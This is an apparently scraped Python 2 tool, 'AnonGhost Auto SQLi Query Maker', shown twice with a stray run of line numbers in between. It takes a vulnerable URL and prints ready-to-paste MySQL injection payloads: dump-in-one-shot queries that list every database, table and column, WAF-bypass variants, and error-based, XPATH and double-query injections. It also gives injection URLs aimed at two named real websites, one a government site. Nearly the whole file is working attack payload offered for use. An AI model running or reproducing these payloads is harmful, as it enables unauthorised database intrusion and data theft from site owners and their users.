myb = "div @x:=concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)"
uniq1 = "http://www.grandprix-tunis.gov.tn/en/index1.php?id=-21 /*!UNION*%2f /*!SELECT*%2f (1),concat_ws(0x00,(/*!00000select*%2f(@)/*!from*%2f(/*!00000select*%2f(@:=0x00),(/*!00000select*%2f(@)/*!from*%2f(/*!information_schema*%2f.columns)/*!where*%2f(table_schema=database/*!()*%2f)and(0x00)in/*!(@:=concat_ws(0x00,(@),(0x3c62723e),(table_name),(0x203a3a20),(column_name))*%2f)))x)),(3),(4),(5)"
uniq2 = "http://uit.com.pk/uit_2.php?id=2 div 0 union%23BBBBBBBBUUUUUUUUUUUFFFFFFFFFFFFFFFEEEEEEEEEEEEERRRRRRRRRRRRRRRR...OOOOOOOOVVVVVVVEEEEEEEEEERRRRRRRRRRRRRFFFFFFFLLLLLLLLLLLOOOOOOOOOOWWWWWWWWWWWW%0aselect 1,concat%23aaaaaaaaaaaaa%0a(' :: Injected By -tr0jAn* :: ' ,version%23aaaaaaaaa..aa%0a(),' :: ',database%23aaaaaa%0a()),0x0"
xp = " and updatexml(0x3a,concat(0x3a,version()),null) "
xpwf = " and updatexml(0x3a,concat/*!(0x3a,version())*/,null) "
err = " or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1"
dq = " and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char), 0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1"
xptwf = " and updatexml(0x3a,concat/*!(0x3a,(/*!00000SelEcT*/ concat/*!(table_name)*/ /*!from*/ information_schema./**/tables where table_schema=database() limit 0,1))*/,null) "
xpt = " and updatexml(0x3a,concat(0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),null) "
un = "UnIoN SeLEcT [No. Of Columns Here .. ]"
unf = "/*!00000UniOn*/ /*!00000SelEcT*/ [No . Of Columns Here .. ]"

time.sleep(1)
print "\nLoading..\n"
time.sleep(.5)
#    $ch==($sh)length-($g)
#      while $ch != $sh
#			$g == $sh

waf =  raw_input("WAF ? Y or N : ")

if(waf =='y' or waf =='Y' or  waf =='yes' or waf =='YES' or waf =='Yes'):
		time.sleep(.5)
		print "\nLoading Data .. "
		time.sleep(.6)
		print "\n## :: WAF Bypassed Queries :: ## \n"
		print "\nCODE :: --Queries "
		print "01 -- -- Tables DIOS WAF Bypassed"
		print "02 -- -- Tables With Columns DIOS WAF Bypassed "
		print "03 -- -- TrojAn DIOS Query WAF Bypassed"
		print "04 -- -- XPATH Injection WAF Bypassed "
		print "05 -- -- Databases DIOS WAF Bypassed"
		print "06 -- -- Escape Character DIOS WAF Bypassed "
		print "07 -- -- URL Encoding DIOS WAF Bypassed "
		print "08 -- -- High WAF DIOS Tables With Columns Bypassed "
		print "09 -- -- DIOS By Dr.Z3r0 WAF Bypassed "
		print "10 -- -- DIOS By Mad Blood WAF Bypassed "
		print "11 -- -- DIOS Without Concat WAF Bypassed "
		print "12 -- -- Tables DIOS Using Benchmark() WAF Bypassed "
		print "13 -- -- Dumping Everything In One Shot WAF Bypassed "
		print "14 -- -- Dumping Everything In One Shot Without Concat WAF Bypassed"
		print "15 -- -- Unique WAF Site Bypassed "
		print "16 -- -- Unique Buffer OverFlow Site Bypassed "
		
		
		print "\n"
		askwf = raw_input("What Query Do You Want ? .. Please Enter Code : ")
		time.sleep(.7)
		print "\nLoading Your Query "
		time.sleep(.5)
		if(askwf =='01'):
			print "\nTables DIOS WAF Bypassed\n"
			time.sleep(.8)
			print url + " " + dtwf + unf + " " + "\n\n" + rp
		elif(askwf =='02'):
			print "\n Tables With Columns DIOS WAF Bypassed\n"
			time.sleep(.8)
			print url + " " + dtcwf + " " + unf + "\n\n" + rp
		elif(askwf =='03'):
			print "\nTrojAn DIOS Query WAF Bypassed\n"
			time.sleep(.8)
			print url + " " + mdwf + " " + unf + "\n\n" + rp
		elif(askwf =='04'):
			print "\nXPATH Injection WAF Bypassed"
			time.sleep(.8)
			print url + xpwf + "\n"
			time.sleep(.6)
			print "\n"
			xpask = raw_input("Grab Tables ? Y or N :")
			time.sleep(.8)
			if(xpask =='y' or xpask =='yes' or xpask =='Y' or xpask =='YES' or xpask =='Yes' or xpask =='Ye' or xpask =='ye'):
				print "XPATH Injection Getting Tables\n "
				time.sleep(.5)
				print url + xptwf + "\n\nIncrease The Limit By 0,1 to '1,1' -- '2,1' -- '3,1' For Getting All Other Tables "
		elif(askwf =='05'):
			print "\nDatabases DIOS WAF Bypassed\n"
			time.sleep(.8)
			print url + " " + ddwf + " " + unf + "\n\n" + rp
		elif(askwf =='06'):
			print "\nEscape Character DIOS Bypassed \n"
			time.sleep(.8)
			print url + " " + escb + " " + "\n\n" + rp
		elif(askwf =='07'):
			print "\nURL Encoding WAF Bypassed "
			time.sleep(.8)
			print url + " " + ueb + " " + "\n\n" + rp
		elif(askwf =='08'):
			print "\nHigh WAF Tables With Columns Bypassed \n"
			time.sleep(.8)
			print url + " " + hwb + " " + "/*!00000%55niOn*%2f /*!00000%53eLeCT*%2f [No. Of Columns Here With Separate Brackets like this (1),(2),(3)]" + "\n\n" + rp
		elif(askwf =='09'):
			print "\nDIOS By Dr.Z3r0 WAF Bypassed \n"
			time.sleep(.8)
			print url + " " + bdzwf + " " + unf + "\n\n" + rp
		elif(askwf =='10'):
			print "\nDIOS By MadBlood WAF Bypassed \n"
			time.sleep(.8)
			print url + " " + bmbwf + " " + unf + "\n\n" + rp
		elif(askwf =='11'):
			print "\n DIOS Without Concat WAF Bypassed \n"
			time.sleep(.8)
			print url + " " + msdwf + " " + unf + "\n\n" + rp
		elif(askwf =='12'):
			print "\nTables DIOS Using Benchmark WAF Bypassed \n"
			time.sleep(.8)
			print url + " " + bktwf + " " + unf + "\n\n" + rp
		elif(askwf =='13'):
			print "\nDumping Everything In One Shot WAF Bypassed \n"
			time.sleep(.8)
			print url + " " + decwf + " " + unf + "\n\n" + rp
		elif(askwf =='14'):
			print "\nDumping Everything In One Shot Without CONCAT WAF Bypassed\n"
			time.sleep(.8)
			print url + " " + dewcwf + " " + unf + "\n\n" + rp
		elif(askwf =='15'):
			print "\nUnique WAF Website Bypassed \n "
			time.sleep(.8)
			print "Query :: \n----------\n" + uniq1
		elif(askwf =='16'):
			print "\nUnique WAF [Buffer Overflow] Website Bypassed \n"
			time.sleep(.8)
			print "Query :: \n----------\n" + uniq2
			
#             $wf == $by(length-($g)
#					while $wf != $g 
#						$by = $g
#                    	where $by == $wf
#						then print " $by " + " $g " + " wf "
#									else die($g + $wf + $by):($b)
				
		else:
			time.sleep(.8)
			print "You Have Entered An Invalid Code .. "
			
			
elif(waf =='N' or waf =='n' or waf =='NO' or waf =='no' or waf =='No'):
		print "## :: Simple Non-WAF Queries :: ## \n"
		time.sleep(.7)
		print "Loading Data .. "
		time.sleep(.8)
		print "\nCODE :: -- Queries \n"
		print "001 -- -- Tables DIOS Simple "
		print "002 -- -- Tables With Columns DIOS Simple "
		print "003 -- -- Getting Tables With Group_concat Function "
		print "004 -- -- TrojAn DIOS Query Simple "
		print "005 -- -- XPATH Injection "
		print "006 -- -- Databases DIOS "
		print "007 -- -- Getting Databases With Group_concat Function"
		print "008 -- -- Tables DIOS Using Benchmark() "
		print "009 -- -- DIOS By Dr.Z3ro "
		print "010 -- -- DIOS By Mad Blood "
		print "011 -- -- DIOS Without Concat "
		print "012 -- -- TrojAn Benchmark() Query "
		print "013 -- -- Dump Everything With Concat "
		print "014 -- -- Dump Everything Without Concat "
		print "015 -- -- Escape Character Bypass "
		print "016 -- -- Getting Version With Error Based Injection"
		print "017 -- -- Getting Version With Double Query Injection "
		
		print "\n"
		asks = raw_input("What Query Do You Want ? Enter Code : ")
		time.sleep(.5)
		print "Loading Your Query .."
		time.sleep(.5)
		if(asks == '001'):
			print "\nTables DIOS Simple\n"
			time.sleep(.8)
			print url + " " + sdt + " " + un + "\n\n" + rp
		elif(asks =='002'):
			print "\nTables With Columns DIOS Simple\n"
			time.sleep(.8)
			print url + " " + sdtc + " " + un + "\n\n" + rp
		elif(asks =='003'):
			print "\nGetting Tables With Group_concat Function\n"
			time.sleep(.8)
			print url + " " + gct + " " + un + "\n\n" + rp
		elif(asks =='004'):
			print "\nTrojAn DIOS Query Simple\n"
			time.sleep(.8)
			print url + " " + mds + " " + un + "\n\n" + rp
		elif(asks =='005'):
			print "\nXPATH Injection\n"
			time.sleep(.8)
			print url + xp + "\n"
			time.sleep(.6)
			xpasks = raw_input("Grab Tables ? Y or N :")
			if(xpasks =='y' or xpasks =='yes' or xpasks =='Y' or xpasks =='YES' or xpasks =='Yes' or xpasks =='Ye' or xpasks =='ye'):
				print "\nXPATH Injection Getting Tables\n "
				time.sleep(.5)
				print url + xpt + "\n\nIncrease The Limit By 0,1 to '1,1' -- '2,1' -- '3,1' For Getting All Other Tables "
		elif(asks =='006'):
			print "\nDatabases DIOS\n"
			time.sleep(.8)
			print url + " " + dd + " " + un + "\n\n" + rp
		elif(asks =='007'):
			print "\nGetting Databases With GROUP_CONCAT() Function\n"
			time.sleep(.8)
			print url + " " + gcd + " " + un + "\n\n" + rp
		elif(asks =='008'):
			print "\nTables DIOS Using Benchmark() \n"
			time.sleep(.8)
			print url + " " + bkt + " " + un + "\n\n" + rp
		elif(asks =='009'):
			print "\nDIOS by Dr.Z3ro\n"
			time.sleep(.8)
			print url + " " + bdz + " " + un + "\n\n" + rp
		elif(asks =='010'):
			print "\nDIOS By Mad Blood \n"
			time.sleep(.8)
			print url + " " + bmb + " " + un + "\n\n" + rp
		elif(asks =='011'):
			print "\nDIOS Without Concat\n"
			time.sleep(.8)
			print url + " " + msd + " " + un + "\n\n" + rp
		elif(asks =='012'):
			print "\nTrojAn Benchmark() Query\n"
			time.sleep(.8)
			print url + " " + myb + " " + un + "\n\n" + rp
		elif(asks =='013'):
			print "\nDump Everything With Concat Function\n"
			time.sleep(.8)
			print url + " " + dec + " " + un + "\n\n" + rp
		elif(asks =='014'):
			print "\nDump Everything Without Concat Function \n"
			time.sleep(.8)
			print url + " " + dewc + " " + un + "\n\n" + rp
		elif(asks =='015'):
			print "\n Escape Character Bypass \n"
			time.sleep(.8)
			print url + " " + escb + "\n\n" + rp
		elif(asks =='016'):
			print "\nGetting Version With Error Based Injection\n"
			time.sleep(.8)
			print url + err + "\n\n"
		elif(asks =='017'):
			print "\nGetting Version With Double Query Injection\n"
			time.sleep(.8)
			print url + dq + "\n\n"
		
#                  $nb == $qr(length-($s))
#						while $nb != $qr 
# 						 then $nb == $s
#					else $qr != $s 
#							split $length-($s + $nb + $qr )
				
		
		else:
			time.sleep(.8)
			print "You Have Entered An Invalid Code "
		
else:
		print "You Have Entered An Incorrect Data"
		
		

time.sleep(2)
print "\n\n\nClosing All Functions.."
time.sleep(1)
print "Exiting.."
time.sleep(3.5)

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

#/!python

import time

time.sleep(.5)

print "\n ---####################################################---"

print " -----# #-----"

print " --------# AnonGhost Auto SQLi Query Maker #--------"

print " -----# Coded By -tr0jAn* #-----"

print " ---# #---"

print " -####################################################-\n\n"

time.sleep(.7)

print "\n Greets To :\n ------------------------------------------------------------------------------\nrummykhan :: MakMan :: madcodE :: Mauritania Attacker :: HusseiN98d :: Kai H4x0r :: j0k3r :: Ch3rn0by1 :: vIrkId :: Zen :: Mr.Nob :: Shafoon :: G~26 :: madblood :: Str!k3r :: No~FacE :: Tech Prospect :: ajkaro \n---------------------------- PCP :: PHC :: AnonGhost ---------------------------"

time.sleep(1)

print "\n"

url = raw_input("Website Vulnerable URL : ")

# username = "test"

# if(username !='trojan' or username !='anonghost' or username !='test'):

# print "Invalid ! Please Enter The Correct Login"

# else:

# continue

rp = "Just Paste This In 'Hackbar' OR 'URL Bar' And After It Do The UNION SELECTION.. Then Replace The Vulnerable Column With @x And See The MAGIC :D"

sdt = "div @x:=concat((select(@)from(Select(@:=0x00),(@r:=0),(select(@)from(information_schema.tables)Where(table_schema=database())and(@)in(@:=concat(@,0x3c62723e,LPAD(@r:=@r%2b1,2,0x30),0x2e20,unhex(hex(table_name))))))x))"

sdtc = "div @x:=concat((select(@)from(Select(@:=0x00),(select(@)from(information_schema.columns)Where(table_schema=database())and(@)in(@:=concat(@,0x3c62723e,unhex(hex(table_name)),0x203a3a3a20,unhex(hex(column_name))))))x))"

gct = "div @x:=concat(if(@a!=0,@a:=0,@a:=0),0x3c62723e3c62723e,(select unhex(hex(group_concat(lpad(@a:=@a%2b1,2,0x30),0x2e20,table_name separator 0x3c62723e))) from information_schema.tables where table_schema=database()))"

dtwf = "div @x:=concat/*!((/*!00000select*/ (@) /*!from*/ (/*!00000select*/ (@:=0x00),(@r:=0),(/*!00000select*/ (@) from(information_schema./**/tables)where(table_schema=database())and(@)in(@:=concat/*!(@,0x3c62723e,LPAD(@r:=@r%2b1,2,0x30),0x2e20,unhex(hex(table_name))))))x))*/"

dtcwf = "div @x:=concat/*!((/*!00000select*/ (@) /*!from*/ (/*!00000select*/ (@:=0x00),(@r:=0),(/*!00000select*/ (@) from(information_schema./**/columns)where(table_schema=database())and(@)in(@:=concat/*!(@,0x3c62723e,unhex(hex(table_name)),0x203a3a20,unhex(hex(column_name))))))x))*/"

mdwf = "div @x:=concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@)/*!from*/(/*!12345selEcT*/(@:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@:=Concat/*!(@, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/"

mds = "div @x:=unhex(hex(concat(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,concat(concat(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203a3a203c2f666f6e743e3c2f63656e7465723e3c2f623e),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),concat(0x3c62723e3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c62723e546f74616c205461626c657320496e20416c6c20446174616261736573203a3a20,(select count(*) from information_Schema.tables),0x3c62723e5461626c657320436f756e7420496e205072696d617279204461746162617365203a3a20,(Select count(*) from information_Schema.tables where table_schema=database()),(select(@)from(select(@:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(select(0) from(information_schema.columns)where(table_schema=database()) and(0x00)in(@:=Concat(@, 0x3c62723e, if( (@tbl!=table_name), Concat(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,LPAD(@r:=@r%2B1, 2, 0x30),0x2e,@tbl:=table_name,0x3c666f6e7420636f6c6f723d626c61636b3e203a3a20436f6c756d6e7320496e2054686973205461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@tbl),0x20284461746162617365203a3a20,database(),0x29,0x3c2f666f6e743e,0x3c62723e), 0x00),0x203a3a20,0x3c666f6e7420636f6c6f723d677265656e2073697a653d323e,0x7e20,column_name,0x3c2f666f6e743e ))))x))))))"

dd = "div @x:=concat((select(@)from(select(@:=0x00),(select(@)from(information_schema.schemata)where(@)in(@:=concat(@,0x3c62723e,unhex(hex(schema_name))))))x))"

ddwf = "div @x:=concat/*!((/*!00000select*/(@)/*!from*/(/*!00000select*/(@:=0x00),(/*!00000select*/(@)from(information_schema./**/schemata)where(@)in(@:=concat/*!(@,0x3c62723e,unhex(hex(schema_name))))))x))*/"

gcd = "div @x:=concat(if(@a!=0,@a:=0,@a:=0),0x3c62723e3c62723e,(select group_concat(lpad(@a:=@a%2b1,2,0x30),0x2e20,unhex(hex(schema_name)) separator 0x3c62723e) from information_Schema.schemata))"

bdz = "div @x:=(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))"

bdzwf = "div @x:=(/*!00000select*/(/*!00000select*/ concat/*!(@:=0xa7,(/*!00000select*/ count(*)/*!from*/(information_schema./**/columns)where(table_schema=database())and(@:=concat/*!(@,0x3c6c693e,table_name,0x203a3a20,column_name))),@)*/))"

bmb = "div @x:=(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where(table_schema=database())and @:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))"

bmbwf = "div @x:=(/*!00000Select*/ export_set(5,@:=0,(/*!00000select*/ count(*)/*!from*/(information_schema./**/columns)where(table_schema=database()) and @:=export_set(5,export_set(5,@,/*!table_name*/,0x3c6c693e,2),/*!column_name*/,0x203a3a20,2)),@,2))"

msd = "div @x:=make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema=database())and @:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)"

msdwf = "div @x:=make_set(6,@:=0x0a,(/*!00000select*/(1)/*!from*/(information_schema./**/columns)where(table_schema=database())and @:=make_set(511,@,0x3c6c693e,/*!table_name*/,0x203a3a20,/*!column_name*/)),@)"

bkt = "div @x:=concat(@i:=0x00,@x:=0x00,benchmark(10,@x:=CONCAT(@x,(SELECT concat(0x3c62723e,@i:=table_name) from information_schema.tables where (table_schema=database()) and table_name >@i order by table_name LIMIT 1))),@x)"

dec = "div @x:=(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_schema,0x203a3a20,table_name,0x203a3a20,column_name))),@)))"

dewc = "div @x:=make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where @:=make_set(511,@,0x3c6c693e,table_name,0x203a20,table_name,0x203a20,column_name)),@)"

bktwf = "div @x:=concat/*!(@i:=0x00,@y:=0x00,benchmark(10,@y:=CONCAT/*!(@y,(/*!00000SELECT*/ concat/*!(0x3c62723e,@i:=table_name) /*!from*/ information_schema./**/tables where (table_schema=database()) and table_name >@i order by table_name LIMIT 1))),@y)"

decwf = "div @x:=(/*!00000select*/(/*!00000select*/ concat/*!(@:=0xa7,(/*!00000select*/ count(*)/*!from*/(information_schema./**/columns)where(@:=concat/*!(@,0x3c6c693e,table_schema,0x202d2d2d3e20,table_name,0x203a3a20,column_name))),@)*/))"

dewcwf = "div @x:=make_set(6,@:=0x0a,(/*!00000select*/(1)/*!from*/(information_schema./**/columns)where@:=make_set(511,@,0x3c6c693e,/*!table_schema*/,0x203a3a20,/*!table_name*/,0x203a3a20,/*!column_name*/)),@)"

ueb = "div @x:=%63oncaT((%53elECt (@x) %66rom (%53elECt (@x:=0x00),(@r:=0),(%53elECt (0) from(%69nformation_schema.tables)%77here (%74ablE_schema=database()) and (0x00) in (@x:=%63oncat (@x,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1,2,0x30),0x2920,0x3c2f666f6e743e,%74able_name))))x)) %55nion %53elect "

escb = "div @x:=(concat_ws((0x0),(select(@)from(select(@:=0x00),(@r:=0),(select(@)from(informatioN_schema.tables)where(table_Schema=database())and(@)in(@:=concat_ws((0x0),(@),(0x3c62723e),(LPAD((@r:=@r%2b1),(2),(0x30))),(0x2e20),(table_name),(0x0)))))x))))UNION(select([No.Of Cols Here With Separate Brackets like (1),(2),(3)])"

hwb = "div @x:=concat_ws(0x00,(/*!00000select*%2f(@)/*!from*%2f(/*!00000select*%2f(@:=0x00),(/*!00000select*%2f(@)/*!from*%2f(/*!information_schema*%2f.columns)/*!where*%2f(table_schema=database/*!()*%2f)and(0x00)in/*!(@:=concat_ws(0x00,(@),(0x3c62723e),(table_name),(0x203a3a20),(column_name))*%2f)))x))"

myb = "div @x:=concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)"

uniq1 = "http://www.grandprix-tunis.gov.tn/en/index1.php?id=-21 /*!UNION*%2f /*!SELECT*%2f (1),concat_ws(0x00,(/*!00000select*%2f(@)/*!from*%2f(/*!00000select*%2f(@:=0x00),(/*!00000select*%2f(@)/*!from*%2f(/*!information_schema*%2f.columns)/*!where*%2f(table_schema=database/*!()*%2f)and(0x00)in/*!(@:=concat_ws(0x00,(@),(0x3c62723e),(table_name),(0x203a3a20),(column_name))*%2f)))x)),(3),(4),(5)"

uniq2 = "http://uit.com.pk/uit_2.php?id=2 div 0 union%23BBBBBBBBUUUUUUUUUUUFFFFFFFFFFFFFFFEEEEEEEEEEEEERRRRRRRRRRRRRRRR...OOOOOOOOVVVVVVVEEEEEEEEEERRRRRRRRRRRRRFFFFFFFLLLLLLLLLLLOOOOOOOOOOWWWWWWWWWWWW%0aselect 1,concat%23aaaaaaaaaaaaa%0a(' :: Injected By -tr0jAn* :: ' ,version%23aaaaaaaaa..aa%0a(),' :: ',database%23aaaaaa%0a()),0x0"

xp = " and updatexml(0x3a,concat(0x3a,version()),null) "

xpwf = " and updatexml(0x3a,concat/*!(0x3a,version())*/,null) "

err = " or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1"

dq = " and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char), 0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1"

xptwf = " and updatexml(0x3a,concat/*!(0x3a,(/*!00000SelEcT*/ concat/*!(table_name)*/ /*!from*/ information_schema./**/tables where table_schema=database() limit 0,1))*/,null) "

xpt = " and updatexml(0x3a,concat(0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),null) "

un = "UnIoN SeLEcT [No. Of Columns Here .. ]"

unf = "/*!00000UniOn*/ /*!00000SelEcT*/ [No . Of Columns Here .. ]"

time.sleep(1)

print "\nLoading..\n"

time.sleep(.5)

# $ch==($sh)length-($g)

# while $ch != $sh

# $g == $sh

waf = raw_input("WAF ? Y or N : ")

if(waf =='y' or waf =='Y' or waf =='yes' or waf =='YES' or waf =='Yes'):

time.sleep(.5)

print "\nLoading Data .. "

time.sleep(.6)

print "\n## :: WAF Bypassed Queries :: ## \n"

print "\nCODE :: --Queries "

print "01 -- -- Tables DIOS WAF Bypassed"

print "02 -- -- Tables With Columns DIOS WAF Bypassed "

print "03 -- -- TrojAn DIOS Query WAF Bypassed"

print "04 -- -- XPATH Injection WAF Bypassed "

print "05 -- -- Databases DIOS WAF Bypassed"

print "06 -- -- Escape Character DIOS WAF Bypassed "

print "07 -- -- URL Encoding DIOS WAF Bypassed "

print "08 -- -- High WAF DIOS Tables With Columns Bypassed "

print "09 -- -- DIOS By Dr.Z3r0 WAF Bypassed "

print "10 -- -- DIOS By Mad Blood WAF Bypassed "

print "11 -- -- DIOS Without Concat WAF Bypassed "

print "12 -- -- Tables DIOS Using Benchmark() WAF Bypassed "

print "13 -- -- Dumping Everything In One Shot WAF Bypassed "

print "14 -- -- Dumping Everything In One Shot Without Concat WAF Bypassed"

print "15 -- -- Unique WAF Site Bypassed "

print "16 -- -- Unique Buffer OverFlow Site Bypassed "

print "\n"

askwf = raw_input("What Query Do You Want ? .. Please Enter Code : ")

time.sleep(.7)

print "\nLoading Your Query "

time.sleep(.5)

if(askwf =='01'):

print "\nTables DIOS WAF Bypassed\n"

time.sleep(.8)

print url + " " + dtwf + unf + " " + "\n\n" + rp

elif(askwf =='02'):

print "\n Tables With Columns DIOS WAF Bypassed\n"

time.sleep(.8)

print url + " " + dtcwf + " " + unf + "\n\n" + rp

elif(askwf =='03'):

print "\nTrojAn DIOS Query WAF Bypassed\n"

time.sleep(.8)

print url + " " + mdwf + " " + unf + "\n\n" + rp

elif(askwf =='04'):

